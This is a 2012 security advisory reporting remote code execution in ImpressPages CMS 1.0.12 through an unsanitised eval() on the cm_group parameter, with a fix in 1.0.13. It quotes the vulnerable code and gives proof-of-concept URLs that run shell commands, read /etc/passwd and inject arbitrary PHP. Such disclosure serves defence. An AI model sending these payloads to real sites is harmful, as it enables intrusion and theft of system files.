NGS00109 Technical Advisory: Remote Code Execution in ImpressPages CMS

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Summary
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Name: Remote code execution in ImpressPages CMS 
Release Date:  5 January 2012
Reference: NGS00109
Discoverer: David Middlehurst <david.middlehurst@xxxxxxxxxxxxx>
Vendor: ImpressPages
Vendor Reference: 
Systems Affected: ImpressPages CMS 1.0.12
Risk: High
Status: Published

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TimeLine
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Discovered: 28 August 2011
Released: 28 August 2011
Approved: 28 August 2011
Reported:  5 September 2011
Fixed: 21 September 2011
Published:  5 January 2012

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Description
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ImpressPages CMS (1.0.12) is prone to a remote command execution attack due to 
an unsanitised eval() code execution flaw.
 
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Technical Details
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http://host/impresspages/?cm_group=text_photos\title\Module();echo%20shell_exec('ls%20-alh');echo&cm_name=test
http://host/impresspages/?cm_group=text_photos\title\Module();echo%20file_get_contents('/etc/passwd');echo&cm_name=test
http://host/impresspages/?cm_group=text_photos\title\Module();[[ArbitraryPHP 
Code Here]];echo&cm_name=test

The affected code:
 
File: /ip_cms/modules/standard/content_management/actions.php Line 37
 
    if(isset($_REQUEST['cm_group']) && isset($_REQUEST['cm_name'])) {
      eval (' $new_module = new
\\Modules\\standard\\content_management\\Widgets\\'.$_REQUEST['cm_group'].'\\'.$_REQUEST['cm_name'].'\\Module();
');
      $new_module->makeActions();
    }

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Fix Information
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Please update all instances of Impress Pages to the 1.0.13 release: 
http://www.impresspages.org/news/impresspages-1-0-13-security-release/

NGS Secure Research
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